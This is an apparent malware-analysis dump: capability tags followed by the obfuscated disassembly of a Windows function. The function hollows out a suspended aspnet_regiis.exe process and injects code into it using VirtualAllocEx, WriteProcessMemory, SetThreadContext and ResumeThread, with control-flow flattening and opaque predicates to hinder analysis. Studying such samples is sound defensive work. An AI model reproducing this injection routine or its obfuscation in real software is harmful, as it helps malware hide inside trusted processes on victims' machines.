Function at 0x10002d10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x178
mov eax, dword [0x10069200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x180], 0xfded193a
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x184], eax
sub eax, 0x80a77683
je 0x10008690
jmp 0x10002d4c
mov eax, dword [ebp - 0x184]
sub eax, 0x814f5922
je 0x10006b3e
jmp 0x10002d62
mov eax, dword [ebp - 0x184]
sub eax, 0x816a9e93
je 0x1000a3e1
jmp 0x10002d78
mov eax, dword [ebp - 0x184]
sub eax, 0x83928385
je 0x10005ca1
jmp 0x10002d8e
mov eax, dword [ebp - 0x184]
sub eax, 0x83bc2906
je 0x100076b3
jmp 0x10002da4
mov eax, dword [ebp - 0x184]
sub eax, 0x8406ff13
je 0x10008561
jmp 0x10002dba
mov eax, dword [ebp - 0x184]
sub eax, 0x8420472f
je 0x10009ff8
jmp 0x10002dd0
mov eax, dword [ebp - 0x184]
sub eax, 0x8449ce08
je 0x1000a67a
jmp 0x10002de6
mov eax, dword [ebp - 0x184]
sub eax, 0x853e99d9
je 0x1000798f
jmp 0x10002dfc
mov eax, dword [ebp - 0x184]
sub eax, 0x860e5a08
je 0x1000a48b
jmp 0x10002e12
mov eax, dword [ebp - 0x184]
sub eax, 0x863c7736
je 0x10006460
jmp 0x10002e28
mov eax, dword [ebp - 0x184]
sub eax, 0x8778fb98
je 0x10008909
jmp 0x10002e3e
mov eax, dword [ebp - 0x184]
sub eax, 0x87dc6555
je 0x1000a78d
jmp 0x10002e54
mov eax, dword [ebp - 0x184]
sub eax, 0x88630adb
je 0x10007791
jmp 0x10002e6a
mov eax, dword [ebp - 0x184]
sub eax, 0x8899c468
je 0x10009544
jmp 0x10002e80
mov eax, dword [ebp - 0x184]
sub eax, 0x88db5a27
je 0x1000a5a3
jmp 0x10002e96
mov eax, dword [ebp - 0x184]
sub eax, 0x8945aead
je 0x1000a1c5
jmp 0x10002eac
mov eax, dword [ebp - 0x184]
sub eax, 0x89a70fc3
je 0x10007d8d
jmp 0x10002ec2
mov eax, dword [ebp - 0x184]
sub eax, 0x8d0e03e3
je 0x1000aa43
jmp 0x10002ed8
mov eax, dword [ebp - 0x184]
sub eax, 0x8eec2c1c
je 0x1000630a
jmp 0x10002eee
mov eax, dword [ebp - 0x184]
sub eax, 0x8f3a7e48
je 0x1000708e
jmp 0x10002f04
mov eax, dword [ebp - 0x184]
sub eax, 0x91c27e30
je 0x100060ff
jmp 0x10002f1a
mov eax, dword [ebp - 0x184]
sub eax, 0x9216e6f3
je 0x100063bc
jmp 0x10002f30
mov eax, dword [ebp - 0x184]
sub eax, 0x9221cf17
je 0x10007322
jmp 0x10002f46
mov eax, dword [ebp - 0x184]
sub eax, 0x929c0b53
je 0x1000635b
jmp 0x10002f5c
mov eax, dword [ebp - 0x184]
sub eax, 0x934298b1
je 0x10006d7a
jmp 0x10002f72
mov eax, dword [ebp - 0x184]
sub eax, 0x93c77b5b
je 0x1000a8b2
jmp 0x10002f88
mov eax, dword [ebp - 0x184]
sub eax, 0x9520041f
je 0x10006cb9
jmp 0x10002f9e
mov eax, dword [ebp - 0x184]
sub eax, 0x968ad1cd
je 0x1000aa82
jmp 0x10002fb4
mov eax, dword [ebp - 0x184]
sub eax, 0x96ba7901
je 0x10009156
jmp 0x10002fca
mov eax, dword [ebp - 0x184]
sub eax, 0x97064231
je 0x100055e7
jmp 0x10002fe0
mov eax, dword [ebp - 0x184]
sub eax, 0x9783c959
je 0x100067ff
jmp 0x10002ff6
mov eax, dword [ebp - 0x184]
sub eax, 0x97b923ae
je 0x100057cf
jmp 0x1000300c
mov eax, dword [ebp - 0x184]
sub eax, 0x97ccfc34
je 0x1000a373
jmp 0x10003022
mov eax, dword [ebp - 0x184]
sub eax, 0x992b17fe
je 0x10006bf7
jmp 0x10003038
mov eax, dword [ebp - 0x184]
sub eax, 0x993825a1
je 0x1000799e
jmp 0x1000304e
mov eax, dword [ebp - 0x184]
sub eax, 0x99752994
je 0x10009269
jmp 0x10003064
mov eax, dword [ebp - 0x184]
sub eax, 0x99b30034
je 0x1000840b
jmp 0x1000307a
mov eax, dword [ebp - 0x184]
sub eax, 0x9a34cef2
je 0x1000a14c
jmp 0x10003090
mov eax, dword [ebp - 0x184]
sub eax, 0x9aa8b8bd
je 0x1000619c
jmp 0x100030a6
mov eax, dword [ebp - 0x184]
sub eax, 0x9b37f3bc
je 0x100070cc
jmp 0x100030bc
mov eax, dword [ebp - 0x184]
sub eax, 0x9b9fbab1
je 0x1000898e
jmp 0x100030d2
mov eax, dword [ebp - 0x184]
sub eax, 0x9c14362a
je 0x10005d69
jmp 0x100030e8
mov eax, dword [ebp - 0x184]
sub eax, 0x9c45f371
je 0x1000a5c2
jmp 0x100030fe
mov eax, dword [ebp - 0x184]
sub eax, 0x9c6d8fdc
je 0x1000a3c2
jmp 0x10003114
mov eax, dword [ebp - 0x184]
sub eax, 0x9cdbfb4f
je 0x100060ae
jmp 0x1000312a
mov eax, dword [ebp - 0x184]
sub eax, 0x9d5d5348
je 0x10008fa2
jmp 0x10003140
mov eax, dword [ebp - 0x184]
sub eax, 0x9d672963
je 0x100063ea
jmp 0x10003156
mov eax, dword [ebp - 0x184]
sub eax, 0x9dd0cc22
je 0x10005820
jmp 0x1000316c
mov eax, dword [ebp - 0x184]
sub eax, 0x9dd6beba
je 0x10006a75
jmp 0x10003182
mov eax, dword [ebp - 0x184]
sub eax, 0x9dd8bc9c
je 0x10005b13
jmp 0x10003198
mov eax, dword [ebp - 0x184]
sub eax, 0x9ddccec9
je 0x10009682
jmp 0x100031ae
mov eax, dword [ebp - 0x184]
sub eax, 0x9e2786ff
je 0x100096b5
jmp 0x100031c4
mov eax, dword [ebp - 0x184]
sub eax, 0x9e45a16c
je 0x100084a0
jmp 0x100031da
mov eax, dword [ebp - 0x184]
sub eax, 0x9e5d2626
je 0x100099fc
jmp 0x100031f0
mov eax, dword [ebp - 0x184]
sub eax, 0x9e7d1590
je 0x10006531
jmp 0x10003206
mov eax, dword [ebp - 0x184]
sub eax, 0x9f7188d5
je 0x10006d2f
jmp 0x1000321c
mov eax, dword [ebp - 0x184]
sub eax, 0xa02854a4
je 0x10009ba7
jmp 0x10003232
mov eax, dword [ebp - 0x184]
sub eax, 0xa0d69d30
je 0x100091dc
jmp 0x10003248
mov eax, dword [ebp - 0x184]
sub eax, 0xa118a43d
je 0x10007adf
jmp 0x1000325e
mov eax, dword [ebp - 0x184]
sub eax, 0xa18fc5c6
je 0x1000a7db
jmp 0x10003274
mov eax, dword [ebp - 0x184]
sub eax, 0xa36dce2d
je 0x10006d99
jmp 0x1000328a
mov eax, dword [ebp - 0x184]
sub eax, 0xa39b62b3
je 0x1000a517
jmp 0x100032a0
mov eax, dword [ebp - 0x184]
sub eax, 0xa601c770
je 0x1000a1a7
jmp 0x100032b6
mov eax, dword [ebp - 0x184]
sub eax, 0xa6940c59
je 0x1000a7ac
mov dword [ebp - 0x180], 0xf9304fb0
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
add edx, 0x13e9068a
sub edx, 1
sub edx, 0x13e9068a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa74346a7
mov ecx, 0x9dd0cc22
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x10017208]
movss dword [ebp - 0x100], xmm0
movss xmm0, dword [0x10017204]
movss dword [ebp - 0x100], xmm0
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa74346a7
mov ecx, 0x56a2637e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dl, 1
mov eax, 0xcbb048e8
mov ecx, 0xb26a368
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xc4522ebf
jmp 0x1000aaa1
movss xmm0, dword [0x100171f4]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100171f0]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0xb6cd2980
sub edx, 1
sub edx, 0xb6cd2980
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1d283461
mov ecx, 0xe144f9fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
add edx, 0xdc53327a
sub edx, 1
sub edx, 0xdc53327a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x55541618
mov ecx, 0x91c27e30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x100171e4]
movss dword [ebp - 0x104], xmm0
movss xmm0, dword [0x100171e0]
movss dword [ebp - 0x104], xmm0
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x55541618
mov ecx, 0x3c71ec1d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0x7614ea1c
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
sub edx, 0x91bbdf84
sub edx, 1
add edx, 0x91bbdf84
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88db5a27
mov ecx, 0x929c0b53
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x100171d8]
movss dword [ebp - 0x108], xmm0
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
add edx, 0x29599419
sub edx, 1
sub edx, 0x29599419
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88db5a27
mov ecx, 0x9216e6f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xeceb9389
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0xcd0dc867
sub edx, 1
sub edx, 0xcd0dc867
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9c45f371
mov ecx, 0x863c7736
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0x8e825b31
sub edx, 1
sub edx, 0x8e825b31
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9c45f371
mov ecx, 0x3c82599c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x1001734c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x180], 0x5e3a9a05
jmp 0x1000aaa1
mov dl, 1
mov eax, 0x162485f0
mov ecx, 0x9663bbf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbe262a59
mov ecx, 0x287032e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x10017338]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x180], 0xe41226c6
jmp 0x1000aaa1
mov dl, 1
mov eax, 0xc4574236
mov ecx, 0x52e323c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0x420a7661
sub edx, 1
sub edx, 0x420a7661
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7e26e1cf
mov ecx, 0x9f7188d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xc4574236
jmp 0x1000aaa1
movss xmm0, dword [0x10017314]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x180], 0xa36dce2d
jmp 0x1000aaa1
movss xmm0, dword [0x10017310]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x180], 0x5fefb036
jmp 0x1000aaa1
movss xmm0, dword [0x10017304]
movss dword [ebp - 0x10c], xmm0
movss xmm0, dword [0x10017300]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x180], 0xf69d032b
jmp 0x1000aaa1
movss xmm0, dword [0x100172fc]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100172f8]
movss dword [ebp - 0x110], xmm0
movss xmm0, dword [0x100172f4]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x180], 0xa6c0264a
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
sub edx, 0xfe4ebafa
sub edx, 1
add edx, 0xfe4ebafa
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xab3c73a6
mov ecx, 0x42faf923
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x100171bc]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc6d9a5e5
mov ecx, 0x55fcd20e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0xb24ac071
sub edx, 1
sub edx, 0xb24ac071
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb5f100ac
mov ecx, 0xc4fc4d23
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0x993825a1
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
sub edx, 0x1d9fb0b7
sub edx, 1
add edx, 0x1d9fb0b7
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d01c905
mov ecx, 0x4c302fa5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x100172a4]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x180], 0x38a2b843
jmp 0x1000aaa1
movss xmm0, dword [0x1001728c]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10017288]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x180], 0x356d4274
jmp 0x1000aaa1
movss xmm0, dword [0x1001719c]
movss dword [ebp - 0x118], xmm0
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0xf94b1983
sub edx, 1
sub edx, 0xf94b1983
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x18a17fc1
mov ecx, 0x4b1cb2d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov eax, dword [0x1006a528]
mov ecx, dword [0x1006a524]
mov edx, eax
add edx, 0x7c471399
sub edx, 1
sub edx, 0x7c471399
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6bba0058
mov ecx, 0xbfab9bd0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x10017264]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x180], 0x56a6aef1
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0x9c90f912
sub edx, 1
sub edx, 0x9c90f912
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb472471b
mov ecx, 0x3ffaa31e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
mov edx, ecx
add edx, 0x17a55510
sub edx, 1
sub edx, 0x17a55510
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xcac0a6a
mov ecx, 0x33310b88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
movss xmm0, dword [0x1001723c]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x180], 0x4fb8f1b6
jmp 0x1000aaa1
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x180], 0x196f1c0e
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xbfda377c
jmp 0x1000aaa1
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd4], eax
mov dword [ebp - 0x180], 0x31578fca
jmp 0x1000aaa1
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100026e0
add esp, 4
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x158], eax
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x20]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0x180], 0x4666b1e0
jmp 0x1000aaa1
mov eax, dword [ebp - 0xbc]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0xc0]
mov eax, 0x23a8f8db
mov ecx, 0xf6cd820e
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xa8], eax
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x180], 0x9e2786ff
jmp 0x1000aaa1
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp - 0x178]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0xac]
mov eax, 0xb66adf5a
mov ecx, 0xd8d805a1
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xce766897
jmp 0x1000aaa1
mov eax, dword [ebp - 0x88]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x82], al
mov ecx, dword [0x1006a528]
mov eax, dword [0x1006a524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8d0e03e3
mov ecx, 0x2c48ed67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x180], eax
jmp 0x1000aaa1
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
add ecx, 0x1191d3a6
add ecx, eax
sub ecx, 0x1191d3a6
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xec]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x180], 0x1abe02c
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0x391d84a0
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0xcb06de71
jmp 0x1000aaa1
mov ecx, dword [ebp - 0x138]
xor eax, eax
sub eax, 8
sub ecx, eax
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x12c]
mov edx, dword [eax + 0x28]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x180], 0x4a9fa961
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0x23c4cac
jmp 0x1000aaa1
movss xmm0, dword [0x10017218]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x180], 0xe3b39e5f
jmp 0x1000aaa1
movss xmm0, dword [0x10017214]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x180], 0x12331ba4
jmp 0x1000aaa1
movss xmm0, dword [0x10017200]
movss dword [ebp - 0x100], xmm0
mov dword [ebp - 0x180], 0xd5fb18c6
jmp 0x1000aaa1
movss xmm0, dword [0x100171ec]
movss dword [ebp - 0x104], xmm0
mov dword [ebp - 0x180], 0x6159bb91
jmp 0x1000aaa1
movss xmm0, dword [0x100171d8]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x180], 0x929c0b53
jmp 0x1000aaa1
mov dword [ebp - 0x180], 0x863c7736
jmp 0x1000aaa1
movss xmm0, dword [0x100171c4]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x180], 0xcd19d10c
jmp 0x1000aaa1
movss xmm0, dword [0x100171b0]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x180], 0x66839305
jmp 0x1000aaa1
movss xmm0, dword [0x100171a4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x180], 0x67189233
jmp 0x1000aaa1
movss xmm0, dword [0x10017190]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x180], 0x56dc5585
jmp 0x1000aaa1
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x180], 0xa02854a4
jmp 0x1000aaa1
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0x180], 0x40746fc7
jmp 0x1000aaa1
jmp 0x10002d30